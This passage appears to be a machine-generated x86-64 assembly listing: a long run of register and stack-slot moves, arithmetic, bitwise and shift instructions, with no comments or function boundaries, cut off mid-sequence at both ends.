mov rcx, qword [rsp + 0x5e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x50c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
sar eax, cl
mov byte [rsp + 0xc3], al
lea rax, [rsp + 0xad0]
mov qword [rsp + 0x7170], rax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ce4], eax
lea rax, [rsp + 0x6428]
mov qword [rsp + 0x7178], rax
mov rax, qword [rsp + 0x6668]
mov rcx, qword [rsp + 0x5dc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6578], rax
lea rax, [rsp + 0x2be8]
mov qword [rsp + 0x7180], rax
lea rax, [rsp + 0x38]
mov qword [0x140114668], rax
mov rax, qword [rsp + 0x6e50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0x61a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc40]
sub eax, ecx
mov word [rsp + 0xbcc], ax
lea rax, [rsp + 0x99c]
mov qword [rsp + 0x7188], rax
movzx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaf8], ax
lea rax, [rsp + 0x2bdc]
mov qword [rsp + 0x7190], rax
mov rax, qword [rsp + 0x6038]
mov rcx, qword [rsp + 0x6638]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6720], rax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x5d50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x66b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2cb8]
mov dword [rsp + 0x2f74], eax
mov rax, qword [rsp + 0x6280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
add eax, ecx
mov byte [0x14011306b], al
movsx eax, word [rsp + 0x8a4]
mov rcx, qword [rsp + 0x67c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6778]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f40]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6e80]
mov byte [rcx], al
lea rax, [rsp + 0x5970]
mov qword [rsp + 0x7198], rax
mov rax, qword [rsp + 0x4e60]
movzx ecx, al
mov rax, qword [rsp + 0x5b88]
shr rax, cl
mov rcx, qword [rsp + 0x57d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7068]
mov eax, dword [rax]
mov dword [rsp + 0x2f78], eax
mov rax, qword [rsp + 0x61c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c9c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6dc8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0xbc]
or eax, ecx
mov rcx, qword [0x140114238]
mov byte [rcx], al
movzx eax, word [rsp + 0xb9c]
mov word [rsp + 0xcd8], ax
movsx eax, byte [rsp + 0x87]
movsx ecx, byte [rsp + 0x13a]
shl eax, cl
mov rcx, qword [rsp + 0x6388]
mov byte [rcx], al
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa3c]
sub eax, ecx
mov word [rsp + 0x9c8], ax
lea rax, [rsp + 0xfb]
mov qword [rsp + 0x71a0], rax
mov rax, qword [rsp + 0x59d8]
mov rcx, qword [rsp + 0x6520]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x56c0], rax
lea rax, [rsp + 0x2b58]
mov qword [rsp + 0x71a8], rax
mov rax, qword [rsp + 0x70f8]
mov rcx, qword [rsp + 0x59f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f80], rax
mov rax, qword [rsp + 0x5210]
mov rcx, qword [rsp + 0x53a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e5c], eax
lea rax, [rsp + 0xb00]
mov qword [0x140114670], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x71b0], rax
movsx eax, byte [rsp + 0x89]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x6ff0]
movzx eax, word [rax]
mov word [rsp + 0xcdc], ax
movsx eax, word [rsp + 0x9cc]
mov rcx, qword [rsp + 0x5ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6928]
mov word [rcx], ax
mov rax, qword [rsp + 0x66f8]
mov rcx, qword [rsp + 0x52a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6338], rax
lea rax, [rsp + 0x2d48]
mov qword [rsp + 0x71b8], rax
mov rax, qword [rsp + 0x5eb8]
mov rcx, qword [rsp + 0x5220]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6df0]
mov qword [rcx], rax
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x71c0], rax
movsx eax, byte [rsp + 0x89]
movsx ecx, byte [rsp + 0xb5]
add eax, ecx
mov byte [rsp + 0xc7], al
movsx eax, word [rsp + 0xcd0]
mov rcx, qword [rsp + 0x5888]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114660]
mov word [rcx], ax
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6588]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6d], al
lea rax, [rsp + 0xbb8]
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x4ec0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5940]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9cc], ax
mov rax, qword [rsp + 0x6d40]
mov eax, dword [rax]
mov dword [rsp + 0x2f7c], eax
mov rax, qword [rsp + 0x5518]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ad8]
mov qword [rsp + 0x71d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x71d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6440], rax
mov eax, dword [rsp + 0x2be4]
mov dword [rsp + 0x2f80], eax
mov rax, qword [rsp + 0x5b40]
mov rcx, qword [rsp + 0x6348]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6338], rax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb90]
and eax, ecx
mov word [0x1401130f4], ax
movzx eax, word [0x140113058]
mov word [rsp + 0xce0], ax
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0x62a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x126], al
lea rax, [rsp + 0xb98]
mov qword [rsp + 0x71d8], rax
mov rax, qword [rsp + 0x5f58]
mov rcx, qword [rsp + 0x5618]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ba0]
mov rcx, qword [rsp + 0x6148]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5b88], rax
lea rax, [rsp + 0x5d18]
mov qword [rsp + 0x71e0], rax
mov rax, qword [rsp + 0x57f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5bc8]
mov dword [rcx], eax
lea rax, [rsp + 0xdb]
mov qword [rsp + 0x71e8], rax
movzx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114478]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x898], ax
movzx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0x69d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0x5e08]
movzx eax, word [rax]
mov word [rsp + 0xce4], ax
mov rax, qword [rsp + 0x4f50]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ef4], eax
lea rax, [rsp + 0x6720]
mov qword [rsp + 0x71f0], rax
mov rax, qword [rsp + 0x5bf8]
mov rcx, qword [rsp + 0x4e60]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4ba0], rax
mov eax, dword [rsp + 0x2ae8]
mov rcx, qword [rsp + 0x6b88]
mov qword [rsp + 0x71f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x71f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2e38], eax
lea rax, [rsp + 0xc9]
mov qword [rsp + 0x7200], rax
mov rax, qword [rsp + 0x5b48]
movzx eax, word [rax]
mov word [0x140114678], ax
mov rax, qword [0x140114450]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
sar eax, cl
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x62f0]
movzx eax, byte [rax]
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xd2], al
lea rax, [0x140114580]
mov qword [rsp + 0x7208], rax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ba0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x71e0]
mov rcx, qword [rsp + 0x6aa0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5fa0]
mov qword [rcx], rax
lea rax, [rsp + 0x6238]
mov qword [rsp + 0x7210], rax
mov rax, qword [rsp + 0x6600]
mov rcx, qword [rsp + 0x64e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2eb0], eax
mov rax, qword [rsp + 0x6e88]
movsx eax, byte [rax]
mov rcx, qword [0x140114600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011304e], al
lea rax, [rsp + 0x72]
mov qword [rsp + 0x7218], rax
mov rax, qword [rsp + 0x6f58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa88]
add eax, ecx
mov word [rsp + 0x8ec], ax
movzx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6198]
mov byte [rcx], al
movzx eax, word [rsp + 0x9cc]
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x5fa0]
mov rcx, qword [rsp + 0x6958]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6af8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6428]
mov qword [rsp + 0x7220], rax
mov rax, qword [rsp + 0x5f58]
mov ecx, dword [rsp + 0x2c50]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2aec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2df8], eax
mov rax, qword [rsp + 0x6da8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5868]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113073], al
movzx eax, word [rsp + 0xb6c]
mov word [rsp + 0xcec], ax
mov rax, qword [rsp + 0x7108]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ae0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x70a8]
mov word [rcx], ax
lea rax, [0x140113013]
mov qword [rsp + 0x7228], rax
movsx eax, word [rsp + 0x878]
movsx ecx, word [rsp + 0xc18]
or eax, ecx
mov rcx, qword [rsp + 0x5dd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x54f8]
mov rax, qword [rax]
mov qword [rsp + 0x7230], rax
mov rax, qword [rsp + 0x6660]
mov rcx, qword [rsp + 0x6278]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2e00], eax
mov eax, dword [rsp + 0x2eb0]
movzx ecx, al
mov eax, dword [rsp + 0x2b70]
shl eax, cl
mov dword [rsp + 0x2cf0], eax
mov rax, qword [rsp + 0x5380]
mov qword [rsp + 0x7238], rax
movsx eax, byte [rsp + 0x13f]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14011304e], al
mov rax, qword [rsp + 0x53f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b48]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x65c0]
mov word [rcx], ax
lea rax, [rsp + 0xa94]
mov qword [rsp + 0x7240], rax
mov rax, qword [rsp + 0x5420]
movsx eax, byte [rax]
mov rcx, qword [0x140114490]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x51d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0x64d8]
mov rax, qword [rax]
mov qword [rsp + 0x7248], rax
mov rax, qword [rsp + 0x5938]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5e60]
mov dword [rcx], eax
lea rax, [rsp + 0x6148]
mov qword [rsp + 0x7250], rax
mov eax, dword [rsp + 0x2b20]
mov ecx, dword [rsp + 0x2f40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b80], eax
movsx eax, word [rsp + 0xb18]
movsx ecx, word [rsp + 0xb44]
and eax, ecx
mov word [0x1401130f8], ax
mov rax, qword [rsp + 0x51f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
add eax, ecx
mov byte [rsp + 0x56], al
lea rax, [rsp + 0xe3]
mov qword [rsp + 0x7258], rax
mov rax, qword [0x140114388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5850]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x970], ax
mov rax, qword [rsp + 0x5458]
movzx eax, byte [rax]
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x6aa8]
mov rcx, qword [rsp + 0x5c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e0c], eax
mov rax, qword [rsp + 0x6618]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2cf4]
shl eax, cl
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6848]
mov rax, qword [rax]
mov qword [rsp + 0x7260], rax
mov rax, qword [rsp + 0x5f50]
mov rcx, qword [rsp + 0x6220]
mov qword [rsp + 0x7268], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7268]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6150]
mov qword [rcx], rax
mov rax, qword [0x140114540]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fa8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140114628], ax
mov rax, qword [rsp + 0x5f68]
movzx eax, word [rax]
mov word [rsp + 0xcf0], ax
movzx eax, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0xad]
xor eax, ecx
mov byte [rsp + 0x143], al
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x7270], rax
mov rax, qword [rsp + 0x60d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5828]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x6668]
mov rax, qword [rax]
imul rax, qword [0x140114160]
mov qword [rsp + 0x69f0], rax
mov rax, qword [rsp + 0x6cc0]
mov rax, qword [rax]
mov qword [rsp + 0x7278], rax
mov rax, qword [rsp + 0x55f0]
mov ecx, dword [rsp + 0x2ec8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2db4], eax
lea rax, [rsp + 0x2e04]
mov qword [rsp + 0x7280], rax
mov rax, qword [rsp + 0x56e0]
movzx eax, byte [rax]
mov byte [0x140114234], al
movzx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a48]
mov word [rcx], ax
movsx eax, word [rsp + 0x960]
movsx ecx, word [rsp + 0xb94]
sub eax, ecx
mov word [rsp + 0xcc8], ax
lea rax, [0x14011302f]
mov qword [rsp + 0x7288], rax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov byte [rsp + 0xf6], al
mov eax, dword [rsp + 0x2b0c]
mov dword [rsp + 0x2f84], eax
mov rax, qword [rsp + 0x6c70]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x51d8], rax
mov rax, qword [rsp + 0x6968]
mov ecx, dword [rsp + 0x2e24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bf4], eax
mov rax, qword [rsp + 0x5c68]
mov qword [rsp + 0x7290], rax
mov rax, qword [rsp + 0x5f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113066], al
movzx eax, word [rsp + 0xb6c]
movzx ecx, word [rsp + 0xa74]
add eax, ecx
mov rcx, qword [rsp + 0x65a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x106]
mov byte [rsp + 0x14a], al
movsx eax, word [0x14011308c]
mov rcx, qword [rsp + 0x6cc8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa94], ax
mov rax, qword [rsp + 0x6e38]
movzx eax, word [rax]
mov word [rsp + 0xcf4], ax
mov rax, qword [rsp + 0x5f38]
movzx ecx, al
mov rax, qword [rsp + 0x5d40]
shl rax, cl
mov rcx, qword [rsp + 0x53b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x2c18]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b94]
mov dword [rsp + 0x2f88], eax
mov rax, qword [rsp + 0x6f38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6040]
sar rax, cl
mov rcx, qword [rsp + 0x50c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6070]
movzx eax, byte [rax]
mov byte [rsp + 0x14b], al
lea rax, [rsp + 0xc3]
mov qword [0x140114680], rax
mov rax, qword [rsp + 0x6b08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb54], ax
movsx eax, word [rsp + 0x890]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a58]
movzx eax, byte [rax]
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0x5ec0]
mov rcx, qword [rsp + 0x6ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57f8]
mov eax, dword [rax]
mov dword [rsp + 0x2f8c], eax
mov rax, qword [rsp + 0x5218]
mov rcx, qword [rsp + 0x4e50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f80], rax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x5690]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6440], rax
mov rax, qword [0x140114300]
movzx eax, word [rax]
mov word [rsp + 0xcf8], ax
movzx eax, byte [rsp + 0x118]
mov rcx, qword [rsp + 0x6f40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401143a8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb94]
movsx ecx, word [rsp + 0x8c4]
sub eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov word [rcx], ax
mov rax, qword [rsp + 0x7108]
movzx eax, word [rax]
mov word [rsp + 0xcfc], ax
movsx eax, byte [rsp + 0x6b]
movsx ecx, byte [rsp + 0x11a]
sub eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x6c88]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6528]
mov qword [rcx], rax
lea rax, [rsp + 0x2ca0]
mov qword [rsp + 0x7298], rax
mov rax, qword [rsp + 0x53b8]
mov rcx, qword [rsp + 0x5860]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7050], rax
mov eax, dword [rsp + 0x2d14]
mov dword [rsp + 0x2f90], eax
mov rax, qword [0x140114218]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
shl eax, cl
mov rcx, qword [rsp + 0x5d60]
mov word [rcx], ax
mov rax, qword [rsp + 0x70d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x120]
xor eax, ecx
mov byte [0x140113076], al
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov word [rsp + 0xd00], ax
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9e4]
sar eax, cl
mov rcx, qword [rsp + 0x68f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0x5458]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x72], al
lea rax, [rsp + 0x5988]
mov qword [rsp + 0x72a0], rax
mov rax, qword [rsp + 0x6d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ec8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5840]
mov eax, dword [rax]
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x4f78]
mov rcx, qword [rsp + 0x5b88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5300], rax
movzx eax, byte [rsp + 0xd2]
movzx ecx, byte [rsp + 0xbf]
and eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x6880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114228]
mov word [rcx], ax
movzx eax, byte [0x14011303e]
mov byte [rsp + 0x14d], al
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x11f]
add eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5968]
movzx eax, word [rax]
mov word [rsp + 0xd04], ax
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [0x140113076]
sub eax, ecx
mov rcx, qword [rsp + 0x54c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6368]
mov rcx, qword [rsp + 0x5c10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d20], rax
mov eax, dword [rsp + 0x2e6c]
mov dword [rsp + 0x2f98], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5ad0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6148], rax
lea rax, [rsp + 0x2c8c]
mov qword [rsp + 0x72a8], rax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x6088]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401130fc], ax
mov rax, qword [rsp + 0x6370]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6508]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc18], ax
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x5318]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5878]
mov byte [rcx], al
lea rax, [rsp + 0x990]
mov qword [rsp + 0x72b0], rax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x54c0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x57], al
lea rax, [rsp + 0x7290]
mov qword [rsp + 0x72b8], rax
mov rax, qword [rsp + 0x6c78]
mov rcx, qword [rsp + 0x6390]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5df8], rax
lea rax, [rsp + 0x2d58]
mov qword [rsp + 0x72c0], rax
mov rax, qword [rsp + 0x5cc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5520]
mov qword [rsp + 0x72c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x72c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2b5c], eax
movzx eax, word [rsp + 0x984]
movzx ecx, word [rsp + 0xad8]
or eax, ecx
mov word [0x1401130e0], ax
mov rax, qword [rsp + 0x5d28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51c0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5d60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x136]
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
movzx ecx, byte [0x140113016]
add eax, ecx
mov byte [rsp + 0x49], al
lea rax, [rsp + 0xb1c]
mov qword [rsp + 0x72d0], rax
mov rax, qword [rsp + 0x5948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6698]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5898]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7010]
mov dword [rcx], eax
lea rax, [rsp + 0x6ee0]
mov qword [rsp + 0x72d8], rax
mov rax, qword [rsp + 0x66f8]
mov rcx, qword [rsp + 0x5ff0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x6f48], rax
lea rax, [rsp + 0x5d]
mov qword [0x140114688], rax
lea rax, [0x140113070]
mov qword [rsp + 0x72e0], rax
mov rax, qword [rsp + 0x62b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5ad8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x920], ax
mov rax, qword [rsp + 0x6388]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x96]
sub eax, ecx
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0x5c48]
movzx eax, byte [rax]
mov byte [rsp + 0x14f], al
mov eax, dword [rsp + 0x2f04]
mov ecx, dword [rsp + 0x2e50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b3c], eax
mov rax, qword [rsp + 0x4f18]
mov qword [rsp + 0x72e8], rax
mov rax, qword [rsp + 0x5290]
mov rcx, qword [rsp + 0x5d80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6938]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f7c]
mov dword [rsp + 0x2f9c], eax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x6928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140114380], ax
movzx eax, word [0x140114580]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x63e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xa3]
movsx ecx, byte [rsp + 0xd5]
xor eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0x6c80]
movzx eax, byte [rax]
mov byte [rsp + 0x150], al
movsx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x6e40]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x64c8]
mov qword [rsp + 0x72f0], rax
mov eax, dword [rsp + 0x2e00]
movzx ecx, al
mov eax, dword [rsp + 0x2db8]
shl eax, cl
mov rcx, qword [rsp + 0x5108]
mov dword [rcx], eax
mov rax, qword [rsp + 0x65b8]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6630], rax
lea rax, [rsp + 0x2b94]
mov qword [rsp + 0x72f8], rax
lea rax, [rsp + 0xc3c]
mov qword [0x140114690], rax
mov rax, qword [rsp + 0x51e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa5]
sub eax, ecx
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e30]
